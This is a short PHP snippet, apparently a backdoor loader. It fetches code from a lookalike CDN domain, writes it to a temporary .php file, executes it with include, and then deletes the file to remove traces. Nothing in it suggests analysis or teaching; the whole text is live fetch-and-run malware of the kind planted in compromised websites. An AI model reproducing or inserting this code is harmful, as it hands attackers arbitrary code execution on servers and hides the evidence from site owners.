$fu = "https://cdn-jsdelivr.googledv-hostinged.com/ggg"; $t = tempnam(sys_get_temp_dir(), 'tmp_') . '.php'; try { $ch = curl_init($fu); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $ct = curl_exec($ch); curl_close($ch); if ($ct && file_put_contents($t, $ct)) { include($t); } } finally { if (file_exists($t)) { unlink($t); } }